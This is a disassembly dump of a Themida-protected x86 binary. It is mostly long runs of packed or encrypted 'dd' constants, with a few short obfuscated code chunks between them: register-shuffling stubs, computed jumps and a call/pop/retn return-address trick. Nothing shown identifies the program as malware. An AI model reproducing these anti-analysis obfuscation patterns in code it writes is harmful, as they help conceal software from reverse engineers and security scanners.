		dd 42A04F1h, 0FE97CA6Dh, 0A9BFE263h, 0ECAD798Eh, 79BAA0EFh
		dd 457A8E9Ah, 0BEAF6718h, 0D1866B15h, 522B67A4h, 3399DB3Fh
		dd 669B86D1h, 8BAEC2E5h, 8770215Eh, 0B066F296h,	42657AFBh
		dd 0E77A1D2Eh, 57F0A7B2h, 6D52880Bh, 0AB510h, 80DBAE00h
		dd 120D486Bh, 0A5B8DAFDh, 36296D90h, 0CF6AFE21h, 750799BAh
		dd 2253A1Dh, 92B5CA6Dh,	26495EC1h, 11E0F550h, 1044B364h
		dd 0F4EB66EEh, 5B0C49DBh, 6D044D9Ch, 3A5DDE93h,	0C1EE0326h
		dd 775CC78Eh, 9CCF95CBh, 0ABE06236h, 0D671072Ah, 3CBB6CA9h
		dd 0F36D0355h, 0F8667147h, 4F84E482h, 4F8CB9CEh, 384599Eh
		dd 49D47F6Dh, 0EAADD085h, 49EDF677h, 4D9C5B0Ch,	0E6936D04h
		dd 44DC235h, 83B86D6Dh,	0AE89DF02h, 91E91CC9h, 7C1235B6h
		dd 0D6E7C4D9h, 4E000004h, 0B6E3EFAAh, 0B634905h, 0EACF846Bh
		dd 0F52132C9h, 0C6A5EA66h, 93B6CCFFh, 0C8F32512h, 2A674600h
		dd 0F52D7E79h, 8304B966h, 20467h, 23D54E00h, 26D044Eh
		dd 5D0E3B97h, 6B127C66h, 0CCFF2CE1h, 517E93B6h,	1A946314h
		dd 0E69B66EEh, 1AEF08B9h, 934866EEh, 0BE99EF12h, 0C60C8DD9h
		dd 48035D99h, 0BB0A3D0Ah, 2E5C0D3Ah, 2964F4AEh,	5F386974h
		dd 250A8E03h, 9A5C8h, 90ABBE00h, 223D587Bh, 0B5A8EA0Dh
		dd 46D97DA0h, 0DF7A0E31h, 8517A9CAh, 12354AEDh,	0A2C5DA7Dh
		dd 36596EF1h, 21F00520h, 0F34C374h, 4FB66EEh, 1A3D53EBh
		dd 59FC9235h, 44812E74h, 44E6493h, 9516CB6Dh, 0F72AB3D0h
		dd 2ADFC45Fh, 55F086A9h, 0F5C55340h, 59954C0Fh,	0CD86B0D0h
		dd 0A3F02652h, 52112DAEh, 0F8000001h, 572C3D53h, 2DDABFF4h
		dd 0E9B54CF1h, 0FB7C5BB8h, 92A782D8h, 0D0182965h, 4965BBA5h
		dd 359DFCC8h, 9CBFD508h, 89DF02B7h, 9314C9AEh, 10D5B566h
		dd 0AB606B0Bh, 0F156A5C6h, 19C666F4h, 76D1A9DCh, 0F4F122D5h
		dd 2C580D66h, 1874BFA9h, 0A86DEEF3h, 9AD642DBh,	2E974600h
		dd 7E000000h, 0B6E3EFAAh, 0B679905h, 3A1FD46Bh,	0F527E219h
		dd 96F53A66h, 0CF898Fh,	0F59ED146h, 0AACDE96Ah,	90000000h
		dd 815FEE54h, 32B30F51h, 1A3D5329h, 558835h, 0C9FE592Fh
		dd 0EA4D2548h, 290C6205h, 79CBA144h, 0E697898Dh, 6D036F11h
		dd 0CE457126h, 6C81B61Fh, 0C9DE033Fh, 6EA39E2Fh, 0E1B94CEDh
		dd 0F2256D03h, 1A3DBEA1h, 0CCE144h, 11344B99h, 18FEAFDCh
		dd 5F6B157Bh, 364A7DAAh, 87DBFE13h, 25F699A4h, 4B30880Bh
		dd 855EEh, 0E07B0E00h, 72EDA8CBh, 5183A5Dh, 9689CDF0h
		dd 2F0A5E81h, 0D567F91Ah, 62859ABDh, 0F2152A0Dh, 86A9BEA1h
		dd 714055F0h, 0DE413C4h, 544B66EEh, 1C3F533Bh, 0AB8EE407h
		dd 1C366996h, 0E6671C01h, 1A3D53DDh, 8E59B1EDh,	2005183Dh
		dd 17CC3F6Bh, 66C199BCh, 175300E5h, 0B0BEDB17h,	0BADD5E26h
		dd 8F6C81A4h, 2A5h, 0F5EFAAF6h,	24D9BEA1h, 0C11C2EFh, 26B127Ah
		dd 45543EC6h, 0B5363E4Eh, 36573CF1h, 66EDB9C5h,	0AC751257h
		dd 45F9616Ch, 84A7BDF0h, 5EEEB758h, 0D7588FBAh,	245BBh
		dd 23D5A200h, 26D044Eh,	0D10E3B97h, 4E14E394h, 781B6D04h
		dd 0AB6045E0h, 0C154F576h, 766B1279h, 0B6194C1h, 2B101342h
		dd 0FF2C4176h, 19E611C2h, 9C5166EEh, 0D962F81Bh, 8A6FA4BFh
		dd 4A775B3Eh, 0F51DF199h, 0A4AF6464h, 8E03C8F1h, 63EF4C31h
		dd 7, 96B9CE69h, 2C4F64FFh, 0BFE2F76Ah,	54778C97h, 0E304193Ch
		dd 90ABBF51h, 2803587Bh, 0BCA7F013h, 4BEE84A7h,	9BA6736h
		dd 66EE0CEEh, 53395249h, 92351A3Dh, 2E7459FCh, 3AD64581h
		dd 618DA8C0h, 0FF80E1CCh, 0C89E2D3Ah, 174CD77Fh, 0F271ADEAh
		dd 4C603BAEh, 0A8708728h, 12C76D03h, 898F7C91h,	0E24C0F4Fh
		dd 18Ah, 1A3D53C9h, 59FC9235h, 0BA217844h, 0A0D94C4Ah
		dd 0DD78A4D6h, 36BF48C3h, 0AA5B88BDh, 6B0AB9E0h, 909ABBEEh
		dd 6AEA5763h, 4E7BB0DFh, 0F4F15A9Dh, 9F20D566h,	944126DBh
		dd 0F151A657h, 43E666F4h, 54D50A2Dh, 0F4F148B3h, 5BC69066h
		dd 9F82D376h, 68F74CBAh, 46256A49h, 9459BFh, 491246h, 0AAF90000h
		dd 5B6E3EFh, 6B0B6799h,	0CDC828D4h, 0A44A8D4Fh,	0F1B75C18h
		dd 457AAF20h, 0B7BC3F60h, 0B36066F4h, 0B832C576h, 50FD66F4h
		dd 0F4B8589Fh, 0F52ADF66h, 49D0AF74h, 46005FCFh, 35494F8Bh
		dd 0A194A3D0h, 0BC0420h, 49EB0000h, 65E64116h, 24092C42h
		dd 214EE981h, 4DC433E4h, 51026D04h, 6D044DA6h, 6318DC91h
		dd 45AFDE2h, 0C7FC5F33h, 500235E2h, 633E8CDh, 44DA255h
		dd 57D88D6Dh, 0E6FB5E34h, 56F186B9h, 33E134D5h,	61F76D04h
		dd 0B4E5B1C6h, 0D640F11Eh, 386B1568h, 4A4BC3FCh, 0BE3F5739h
		dd 0E51845FAh, 10C5AA8Dh, 0CDB295EDh, 376A9718h, 0D0F30823h
		dd 0F5929DB8h, 15880B13h, 5D4D330h, 0FA8F0000h,	6E274A5Fh
		dd 99BBDEF3h, 64E7186h,	8FE3061Bh, 0E47697ACh, 4193C54h
		dd 9AAF8AE1h, 2C41DC77h, 0C3D87309h, 619647F4h,	0D666EE0Bh
		dd 3F53C6DFh, 0A4BCEF1Ch, 66E79C81h, 0FD582E51h, 3D53DFE8h
		dd 4B88351Ah, 44E5D9Ah,	0FA1DD26Dh, 2144C558h, 0FEDBF04Bh
		dd 31h,	0F5790541h, 60A3C694h, 3D53D6DFh, 0C3F86B2Ch, 4FA85996h
		dd 0E86D044Eh, 0D9441033h, 0D9BE3FF4h, 20052036h, 0C10E5DB2h
		dd 9E7B90ABh, 45h, 0CB0D4905h, 5D795273h, 0FC8E5A98h, 6FE5E8D0h
		dd 0D8DCCA55h, 0C8497E81h, 876CCFA5h, 3769466h,	1813446Dh
		dd 3769067h, 0BDF2A76Dh, 0FE6135D8h, 3CBB6C19h,	0F36D0377h
		dd 6CFB503Eh, 3E4D224Dh, 6B80DBB1h, 1A3D5362h, 22B0E935h
		dd 79D544F5h, 0F5316B12h, 0A06F029Eh, 2BEF700Ch, 40164976h
		dd 0D7ADD0E5h, 698E3F7Ch, 0CE66EDACh, 0AC7F7819h, 785066EDh
		dd 963FF5Dh, 0F328DDA1h, 0FBD7C20Eh, 0DC571DCEh, 0D98E64FBh
		dd 59E279ACh, 883D223Dh, 72A5D253h, 124391Ch, 9FEBD06Bh
		dd 78ABD8FAh, 193C54DDh, 654A7F34h, 51022FB0h, 6B0AB4E5h
		dd 89909B50h, 988157Bh,	48CC724h, 82D70000h, 266F92A7h
		dd 5103263Bh, 0FE96B9CEh, 572B4E63h, 2CBEDFF4h,	4C61C49Ch
		dd 0E2F75229h, 748994BFh, 0B203B51h, 19DE8F3Ch,	1E66EE0Ah
		dd 3D530E27h, 0A5D8051Ah, 0D1866BCEh, 0FD572D50h, 0B747D2D6h
		dd 0C092B5CEh, 8EC3785Dh, 0D57006A9h, 665AAF0h,	8398B3C9h
		dd 0F918296h, 29EB4Ch, 0AAD20000h, 5B6E3EFh, 6B0B0193h
		dd 0C5F825DAh, 0E10E8F92h
		dd 657AE5AEh, 0F50239C4h, 6EC99F66h, 21D3659h, 404C01Dh
		dd 53270000h, 0F6692C3Dh, 0A65794C1h, 6D044E51h, 460E31E6h
		dd 0D2755ADBh, 0B88499BCh, 9927FAE1h, 7C7E9EF6h, 21691A47h
		dd 146B0B29h, 0A2597A5Fh, 7A66F519h, 49CF5635h,	224600BDh
		dd 47h,	7E164909h, 0C849FEE3h, 8359DFCh, 1C9D80D5h, 67603EEFh
		dd 7BAE6B0Bh, 213C57D8h, 0D152873Ch, 5273580Dh,	66F527A9h
		dd 17FC672Fh, 593E2174h, 0E8C996EBh, 5EA7C409h,	4600CFBAh
		dd 3C276FA2h, 0DA9FBBh,	49860000h, 8B33FB0Dh, 0B76C51F4h
		dd 8A41028Bh, 3B81ED9h,	2F64196Dh, 0F2D74A0Ch, 0C399BC3Dh
		dd 4D083B68h, 7AAFB2E4h, 2A6714F9h, 3B87E79h, 0E104B96Dh
		dd 16CBB08Bh, 3B1E7295h, 7ADDB356h, 0B99CF295h,	0B3E203A4h
		dd 0A4BA6D03h, 33496C81h, 0B2E73318h, 0F842F320h, 3F6B0AD4h
		dd 0F1206093h, 2257EDD5h, 7A58410Dh, 0B9749C4Dh, 36EB6506h
		dd 0A782D609h, 140F477Ah, 55C88C2Fh, 678A9F20h,	2A2D3813h
		dd 9C8E0415h, 2F45AB7h,	1A6F0000h, 4E072A3Fh, 0F99BBED3h
		dd 662E5166h, 0AFC3E6FBh, 0C456778Ch, 0E4F95C34h, 7A8FAAC1h
		dd 0C213C57h, 0A3B893E9h, 817627D4h, 0B666EE08h, 3F53A6BFh
		dd 0F604662Eh, 711C19D5h, 41568BC0h, 44F5481Eh,	6D0373B3h
		dd 22E6791Dh, 1A23386Dh, 0B6E3EFAAh, 0B679905h,	3A1FD46Bh
		dd 0F527E219h, 0C45FF666h, 3263CDFh, 213E131Eh,	0C804B190h
		dd 1234DB29h, 4E1394F5h, 2B30E831h, 0F92C4600h,	27DCC15Ch
		dd 0AE8AA6h, 1A4D0000h,	49FEE346h, 3D53BFC8h, 0FE92351Ah
		dd 9055765Bh, 886D0449h, 0F72A57F2h, 27DCC15Ch,	186E91A6h
		dd 8D0C583Dh, 0D3671845h, 626B0B62h, 5B90ABBFh,	0BB1F7A46h
		dd 0F520ED0Ah, 588D4266h, 20B2EE2Bh, 6A56EF05h,	7B455D6h
		dd 0B065061Fh, 0C79BCEFBh, 0DF3CBB6Ch, 3EF36CE5h, 0B9D1F409h
		dd 8F9A939Eh, 13F88E04h, 201B6h, 2C0F6200h, 0BEA1F417h
		dd 51CC86A9h, 0E27D193Ch, 73D6AACDh, 19AB3D5Eh,	0AED1E641h
		dd 46697ED9h, 0DAFD120Dh, 0BD8CA184h, 6985F10h,	0A89F66EEh
		dd 253F538Fh, 0BBD09B06h, 927274A0h, 476A7FB4h,	0F8011631h
		dd 351A3D53h, 146BFC92h, 0DB101343h, 751E41F6h,	7DA0B5EAh
		dd 0B25F44E7h, 4E33C475h, 59FC6D04h, 8D422702h,	8E0BD758h
		dd 80661744h, 0B76B0B79h, 4F241D02h, 7ADDB330h,	0D2009965h
		dd 633568A5h, 0BD6E1B00h, 66F51A3Ah, 8A0B40F5h,	0FC1C81E9h
		dd 5D0E4B64h, 6D04239Ah, 2B3E095h, 6D0423F5h, 4004853Ah
		dd 7F64C79Dh, 23D621D2h, 0AC616D04h, 1B3E5477h,	85E01E6h
		dd 85DA482Dh, 795940E6h, 26CF9B4Ch, 59066B0Bh, 55F65126h
		dd 66F519A2h, 8EA3D88Dh, 84732461h, 0AB66F519h,	9ABDD3F6h
		dd 5C7F00B5h, 913E2306h, 6910C455h, 0BE3FE3FDh,	8065F89Bh
		dd 0D10D4A87h, 0D283C0EAh, 669132B6h, 0D166F511h, 89D69B1Ch
		dd 0EC01243Ah, 2C597920h, 1570FAF0h, 1596220Eh,	0BD6EABE8h
		dd 66F4C33Ah, 1EBF40F5h, 64FBEEC8h, 0D2755A0Fh,	0BBB499BCh
		dd 12354B7Eh, 32F7782Dh, 26ACED55h, 0BA9E48F9h,	36D96B0Ah
		dd 7FD5011Ch, 77FB8E6Ch, 0EB275489h, 13EC5B25h,	7B901113h
		dd 0E2451B4Eh, 0FBC748FDh, 5607349Eh, 65029512h, 34679449h
		dd 0D68D0963h, 0F0776E18h, 0A021D6BBh, 0E74218BBh, 0B768A5D2h
		dd 6CEAD940h, 9EC142F7h, 4406DC8h, 0F5846B89h, 0A98E0FA4h
		dd 4A97A488h, 3754A930h, 7287A2B8h, 81500945h, 0F28852DDh
		dd 1C9DB8CFh, 9DD063F9h, 34C364C7h, 0FB0F8ADFh,	0F2270258h
		dd 0C0A7B9C6h, 0CF046682h, 4F003DEAh, 0F8A90A8h, 0B497EC8Fh
		dd 0BBDBFE7Fh, 0F5CAC3A8h, 28035996h, 97B2C8FBh, 516106B2h
		dd 0AA4C6CE8h, 0BCDFF475h, 828CA6h, 0BA843A0Dh,	343A085h
		dd 0AA000000h, 3E53CED7h, 0FD93361Bh, 81D2755Ah, 4116B99Eh
		dd 0A5E01E6h, 0D3A74A2Fh, 0A4F09378h, 6731D4B9h, 217417FCh
		dd 83F7593Eh, 8F5404ECh, 4832404h, 3E680424h, 89000016h
		dd 0A868240Ch, 8900004Bh, 0EC812414h, 4, 0BE243489h, 49C2170h
		dd 7A1386B9h, 5EF10101h, 42A268h, 24248900h, 4240481h
		dd 5A000000h, 8BB53h, 0C3810000h, 48166372h, 0EB81D301h
		dd 48166372h, 0FF5B0B89h, 815A2434h, 4C4h, 2434FF00h, 4C48159h
		dd 0E9000000h, 0FFF93516h, 0B99BC994h, 2201D86Ah, 8316534Ch
; ---------------------------------------------------------------------------
		push	ss
; START	OF FUNCTION CHUNK FOR sub_5BE0FA


loc_5BF87D:				; CODE XREF: sub_5BE0FA:loc_5BE311j
		mov	eax, 6164935h
		add	eax, ebp
		jmp	eax
; END OF FUNCTION CHUNK	FOR sub_5BE0FA
; ---------------------------------------------------------------------------
		dw 18C4h
		dd 7C792562h, 31354413h, 5DE5420Ch, 8D8D45B3h, 6164AB2h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 42C35141h
		dd 5BEE9F71h, 0C3BBCF3Fh, 2C658D89h, 6A060Fh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 707E06C3h
		dd 10A59503h, 85C7060Fh, 60F07C1h, 5E54h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 1Ch, 0BBC35343h, 1C09B2Ah
		dd 0EE3A1A7Ah, 21D4BE66h, 15919D89h, 8166060Fh,	0C71ADBD8h
		dd 0F249185h, 6, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 810931DCh, 0EB572EFh
		dd 0D5B5FF18h, 81060F18h, 148960D3h, 595FF36h, 60060F2Ah
		dd 0D2D9D01h, 958B060Fh, 60F3149h, 0FF006A61h, 0F345195h
		dd 0EBC08B06h, 3ED8610Eh, 12A590FAh, 0F6EFF0EEh, 0E98C5928h
		dd 15Fh, 60D48B52h, 0E8h, 0ED815D00h, 6164AD3h,	3D08428Bh
		dd 78263845h, 138850Fh,	428B0000h, 184A8B0Ch, 0DBBC8D3h
		dd 331115F5h, 4E883C3h,	2C658589h, 588B060Fh, 8BF88B04h
		dd 4A8B1042h, 0BEC8D318h, 0F04D0456h, 0C72BC633h, 83FCE083h
		dd 858904E8h, 60F07C1h,	8914428Bh, 0F249185h, 18428B06h
		dd 0B0E953h, 0B5FF0000h, 60F087Dh, 0B9E9h, 0C5B5FF00h
		dd 0E9060F11h, 0AEh, 31F5B5FFh,	0A3E9060Fh, 0FF000000h
		dd 0F18C1B5h, 98E906h, 0B5FF0000h, 60F213Dh, 8DE9h, 5B5FF00h
		dd 0E9060F16h, 82h, 3469B5FFh, 77E9060Fh, 0FF000000h, 0F2A1DB5h
		dd 6CE906h, 0B5FF0000h,	60F1685h, 61E9h, 9B5FF00h, 0E9060F0Bh
		dd 56h,	2EEDB5FFh, 4BE9060Fh, 0FF000000h, 0F18D5B5h, 40E906h
		dd 0B5FF0000h, 60F1581h, 35E9h,	8DB5FF00h, 0E9060F12h
		dd 2Ah,	1CB1B5FFh, 1FE9060Fh, 0FF000000h, 0F0839B5h, 14E906h
		dd 0D88B0000h, 0BB8h, 0E3F76600h, 4B348D8Dh, 0C8030616h
		dd 95FFE1FFh, 60F2A05h,	65858B5Bh, 39060F2Ch, 850F0458h
		dd 0Fh,	0FF016A53h, 0F345195h, 0E2E95B06h, 61FFFFFFh, 5A61C35Ah
		dd 0D4C96AB8h, 8BE0FF77h, 0F167D85h, 228D8D06h,	8906164Ch
		dd 0C38B0141h, 0DE8h, 8BCC3000h, 117FEE3Bh, 0FB26D115h
		dd 810F7671h, 6, 99E2E981h, 0E95F5687h,	7, 4DC0776Ch, 8108BFE0h
		dd 5BE7C7h, 0CF8B6600h,	16CABEh, 5DB96600h, 5137FF7Ah
		dd 6E9h, 47A4FC00h, 58DED1FDh, 0F381F55Bh, 7F843E25h, 81C3BF0Fh
		dd 0B17EF6F3h, 0E9816610h, 0EB814781h, 31973D66h, 89DFE980h
		dd 0B6C1811Fh, 830B3B44h, 4F4F01EFh, 850F4E4Fh,	12h, 42E9F9h
		dd 0B9E90000h, 7BF01AB8h, 10747925h, 5660CD6Ch,	58F0B70Fh
		dd 6E8h, 34004200h, 0E9500176h,	0Fh, 964A70C5h,	86F1C97Ah
		dd 0C90121BDh, 5B6FAF6Eh, 0FF7FE961h, 41D0FFFFh, 24E45293h
		dd 6385BE7Ch, 0FE8h, 1A983500h,	9A5FECD0h, 84BB3DCh, 24AFDDA8h
		dd 2EE68166h, 0E2815929h, 4FB7469Ch, 67C3C181h,	8B660000h
		dd 6611B8D8h, 0C0815315h, 0ACEAB3BAh, 8BCAD280h, 0D9B70F39h
		dd 2F84C781h, 42B24BD8h, 0C88DF781h, 8B66772Ch,	74F781F0h
		dd 8B257AB4h, 0E83989F7h, 6, 0CA04EF2Eh, 7E83F80h, 8A000000h
		dd 7B0FA517h, 6160ABFAh, 0E9835E5Eh, 0F606004h,	61F9CAB7h
		dd 8361FA8Bh, 850F01E8h, 0FFFFFFAFh, 13E9h, 16E43400h
		dd 23602ADEh, 72107AD7h, 968800C6h, 2A6F4BA8h, 2CE9h, 8FE3F200h
		dd 61h,	9 dup(0)
		dd 50CE900h, 18680000h,	0E906164Fh, 0FFF930DAh,	164F7A68h
		dd 30D0E906h, 0ED68FFF9h, 0E9061650h, 0FFF930C6h, 153049h
		dd 90A5B8DDh, 23382B6Dh, 0B4C95400h, 495EF991h,	72069628h
		dd 0C89FC2D7h, 6235586Dh, 0B1C7EAFFh, 5B28196h,	0EE00A354h
		dd 7C958C66h, 0E7421649h, 0C2F4366h, 4BEE8427h,	0A32F6A36h
		dd 52B5C576h, 0D4806B0Bh, 0E6C98CA6h, 4C3166C6h, 0F531D02Bh
		dd 78074C66h, 0D977A1h,	332F446h, 49DB0000h, 0E54016h
		dd 0DADBCA4Bh, 628F4356h, 0CFA0F225h, 0E7689DB8h, 0B69A846h
		dd 0FD2ADF6Bh, 0F6D81FC1h, 28A97E6Bh, 0ECA1D172h, 0CDCC8A51h
		dd 0AF27D805h, 9D6FA0F7h, 0FCC75161h, 75A2EB64h, 9F0B33C4h
		dd 0C647FC6Fh, 51675602h, 0F10A33EEh, 18538FBCh, 80EA39F9h
		dd 0F84429AAh, 0C70431A1h, 9ED7E116h, 0C661F76Fh, 9FCC4D02h
		dd 83742562h, 0AC6F9ED7h, 0DED576F7h, 996DA5FDh, 3F7BB7E4h
		dd 73CACEA9h, 0C529A851h, 356AAD9Ah, 0D4A87B4h,	9A489B5Ch
		dd 633571h, 0EDA2661Bh,	379E5EC1h, 74F5B417h, 62323B51h
		dd 92B5CAFFh, 47B061FCh, 0F0719954h, 0F6FB063Bh, 74757033h
		dd 318328Fh, 166B0000h,	5AFB1E33h, 0C58FB2C7h, 7222455Ah
		dd 0A3B7DAEFh, 0C0527388h, 0E8FD5830h, 768BAEC5h, 81D0053h
		dd 97AC8FE5h, 8D6A1BC8h, 0A266EDFEh, 0EFAA92ABh, 9F05B6E3h
		dd 0D66B1202h, 6B7F421h, 66EE00F1h, 0E3109146h,	687DD8B0h
		dd 250A2D45h, 0E563EC04h, 8BAEC48Ch, 0F37B7780h, 0AD0AEF77h
		dd 2B6h, 7C91B4CDh, 0C213C59h, 9FB4AFE9h, 3045D87Ch, 0BDD2750Dh
		dd 0E67A0A9Ch, 740B2E43h, 0FE99BCD1h, 552B4E63h, 610EDDF2h
		dd 0EDFF47B0h, 0E0F9F066h, 0B6E3EFAAh, 6A4FD283h, 47D789B5h
		dd 0D0E3425Eh, 0A9E5224Fh, 52DD8E50h, 0D071F2F9h, 6B112CD4h
		dd 0E809EEA3h, 66EDB313h, 5EA7C409h, 45F956BAh,	1ABB3h
		dd 3D539A00h, 0FC92351Ah, 5DF92C59h, 0FF2C41C2h, 135D7AC3h
		dd 6491A713h, 43244B3h,	0B536EB6Dh, 0F522B0E9h,	0B394644h
		dd 775C116Bh, 0F549A556h, 55327766h, 0ED4CCCh, 22D31046h
		dd 66F541D5h, 824A55Ah,	50h, 0B79C8FCBh, 0D867735h, 0EFAA838Ch
		dd 4679B6E3h, 0EB4E240Dh, 371C5106h, 3E600182h,	906B0B67h
		dd 2855A253h, 25DA66F5h, 462BE0A4h, 342F6699h, 73D6AC4Fh
		dd 9485123Eh, 5D8CD70Ch, 1FC03BDCh, 175C66F5h, 0C767B148h
		dd 0B6044600h, 0EB000000h, 20CC0D49h, 0A24CA261h, 0DF68FE21h
		dd 9378AD88h, 7ADDB3E6h, 9ABDE095h, 8FE30687h, 0DFF403B4h
		dd 863B6D03h, 0B3C96C51h, 7A10B398h, 6A9DCADFh,	10B13215h
		dd 6D03DBC1h, 5166C197h, 87D01485h, 893A679Ch, 6B15798Dh
		dd 26374C7Fh, 5A0FF46Fh, 0FF1DF925h, 4FE3CD08h,	28550ACEh
		dd 0A5BA9DF5h, 0A253EE82h, 66F28555h, 0E5F025DAh, 880B00C8h
		dd 4308654Ah, 40000001h, 0D6F90E29h, 6C8FA4BFh,	0FF22372Ah
		dd 94B7CC57h, 234459FCh, 0D06BFF91h, 68C398BBh,	0FC673053h
		dd 8BAEC4E7h, 49FAA776h, 66EDFDAEh, 53799289h, 0DA071C3Fh
		dd 0F475D0A7h, 8BA0BBD1h, 1A3D5382h, 9A4B8835h,	6D044E5Dh
		dd 799C1DD2h, 63348E3h,	0B79CBFD3h, 0CE8D3F0Bh,	0BCF14073h
		dd 0A82A6F3Bh, 66CECA7Bh, 0F0A56B0Ah, 5DF890C3h, 9B0AF430h
		dd 5AF1AA25h, 6497C4D9h, 91462B0Eh, 68C6F10h, 0F4266F5h
		dd 3558D944h, 0C4E7FC5Fh, 47A489ACh, 0AEh, 233E578Ah, 0FF08893Eh
		dd 0B6E3EFAAh, 12029305h, 4025DA6Bh, 3764C79Dh,	0AE49FAh
		dd 0D48966EEh, 451B3E53h, 1350FDE2h, 0EE009562h, 64E59A66h
		dd 87B0F5C3h, 0A386DD04h, 0E5781BBEh, 4320F500h, 94C78472h
		dd 19DE5FC2h, 44E77D4Ah, 0C3C6022Fh, 9E9A4AFFh,	467BDEB2h
		dd 69CCA2C5h, 0AAB5E184h, 688F407Dh, 670B7542h,	0ADE7D57h
		dd 8F4408E8h, 0CD86290Eh, 492E3164h, 0D77A5F94h, 28C0A580h
		dd 2CA53453h, 7EB10857h, 0B56A4FEAh, 0E07B1134h, 77D2A8CBh
		dd 143592h, 499C0000h, 1810D00Ch, 0D5935727h, 412C334h
		dd 36B76C6Dh, 3E538E97h, 0FD93361Bh, 81D2755Ah,	4116B99Eh
		dd 0A5E01E6h, 0D3A74A2Fh, 0A4F09378h, 6731D4B9h, 217417FCh
		db 3Eh,	59h, 0F7h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], eax
		push	1A23h
		mov	[esp], esi
		push	edx
		mov	edx, 4DF809F1h
		push	ecx
		mov	ecx, 43D17525h
		mov	eax, 8FBFB92Ch
		sub	eax, ecx
		pop	ecx
		xor	eax, edx
		pop	edx
		push	376Ah
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		push	0E66h
		mov	[esp], ecx
		mov	ecx, 8
		add	ecx, esi
		mov	[ecx], eax
		pop	ecx
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		db 88h
		dd 0B2D23303h, 0AD6ED727h, 55B87E93h, 3061652h,	89E0FFC5h
		dd 0C670F0A5h, 0AD5075F2h, 0BB18B966h, 0E963C99Bh, 85720C63h
		dd 145071D1h, 0F61BB8BCh, 0F70D3703h, 0EB65BFACh, 1E3DDD55h
		dd 387B8804h, 0D7040EEBh, 0B942C036h, 0EE6254E7h, 0D17862Ah
		dd 151C0B4Eh, 25753555h, 8D36CA7Dh, 1654148Dh, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 0C41B24A1h, 6850FBBh, 8B000000h, 0F168195h, 0AE806h
		dd 0A80000h, 3317E81Ah,	0B32B27C6h, 0DB19533h, 895E060Fh
		dd 0F2C658Dh, 59BB6606h, 0C185C7FFh, 0D8060F07h, 0F000062h
		dd 158Fh, 10E900h, 0B1D60000h, 950667ACh, 5F5851B1h, 0C0553716h
		dd 85C71BFBh, 60F2491h,	0
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_5C028B
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C028B	proc near		; CODE XREF: Themida_:005C0283p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_5C028B	endp

; ---------------------------------------------------------------------------
		db 14h
		dd 68258845h, 31F5B5FFh, 11E8060Fh, 4F000000h, 382F9850h
		dd 5127DC4Eh, 47F62476h, 0ABA8F66Fh, 95FF58F5h,	60F2A05h
		dd 0BE8h, 9DBB7100h, 279544D7h,	12582EF0h, 6A5A72B4h, 5195FF00h
		dd 8B060F34h, 4C1CEBC0h, 257305B9h, 0E0204261h,	0E0165E48h
		dd 4B7FC82Eh, 8EDCD64h,	0EB5660Ah, 0E84770F8h, 7, 0E488CEDFh
		dd 0F897041Ah, 11E95Ah,	0A350000h, 9D799C01h, 1FC0999Dh
		dd 0C48BF716h, 8191FE2Bh, 6552C2h, 38D0F00h, 66000000h
		dd 3168F08Bh, 29000019h, 0F00BD8Dh, 81665B06h, 8BCEB6F6h
		dd 1B58B02h, 81060F2Ch,	54FBF7E8h, 5CF08151h, 8170ACE2h
		dd 0BBF634DEh, 0CF08135h, 892EFBC1h, 0F121D8Dh,	28F5006h
		dd 11890Fh, 5E80000h, 0F0000000h, 602E08A1h, 1CA58D8Bh
		dd 835E060Fh, 83F904EAh, 850F01EBh, 0FFFFFFB3h,	0A6DB589h
		dd 0EE8060Fh, 23000000h, 40DD8B7Eh, 46421761h, 53ED86A1h
		dd 4800F81h, 51000000h,	595FD68Bh, 81D4E480h, 64E3C1h
		dd 81666000h, 61B00AC6h, 9DBB7BEh, 0A2EE816Fh, 8B6F09C2h
		dd 0F325585h, 3331FF06h, 0F15C985h, 0BF0F5B06h,	0F1EB81C6h
		dd 8B48E28Ah, 0F1C8D85h, 35F38106h, 295D5759h, 0F3319BDh
		dd 6DEB8106h, 8929F3D5h, 0F050585h, 0E68A5306h,	9D89018Fh
		dd 60F1D5Dh, 6004E983h,	486F57BAh, 0C1816610h, 83615527h
		dd 850F01EEh, 0FFFFFFADh, 2BED9D89h, 10E8060Fh,	73000000h
		dd 9B9510B3h, 3ACD0BA5h, 0D9AC2347h, 0B0CF86Ah,	0F1999BDh
		dd 9D895B06h, 60F0A8Dh,	5E2EC381h, 0D1810000h, 3C587849h
		dd 0B9E14EBEh, 0E5EE8169h, 8B69B9C9h, 0F0015BDh, 29038B06h
		dd 0F292DB5h, 0CBF08106h, 0B96C5168h, 25AAC58Ch, 902AC081h
		dd 0BF0F496Bh, 0CBF081F9h, 665501BCh, 0F50DE181h, 19BD8950h
		dd 8F060F32h, 0CD8D0303h, 83060F34h, 0B58904EBh, 60F1CD9h
		dd 0F01EE83h, 0FFFFB885h, 6880FFFh, 81000000h, 7EC958E9h
		dd 83C08B6Eh, 0F1891BDh, 9750006h, 26ADBD83h, 7400060Fh
		dd 8B535019h, 421B8C0h,	85890000h, 60F0025h, 0AFB89D8Dh
		dd 0D3FF0611h, 0BD83585Bh, 60F26ADh, 50177400h,	421B853h
		dd 85890000h, 60F0025h,	0ACA79D8Dh, 0D3FF0611h,	0C08B585Bh
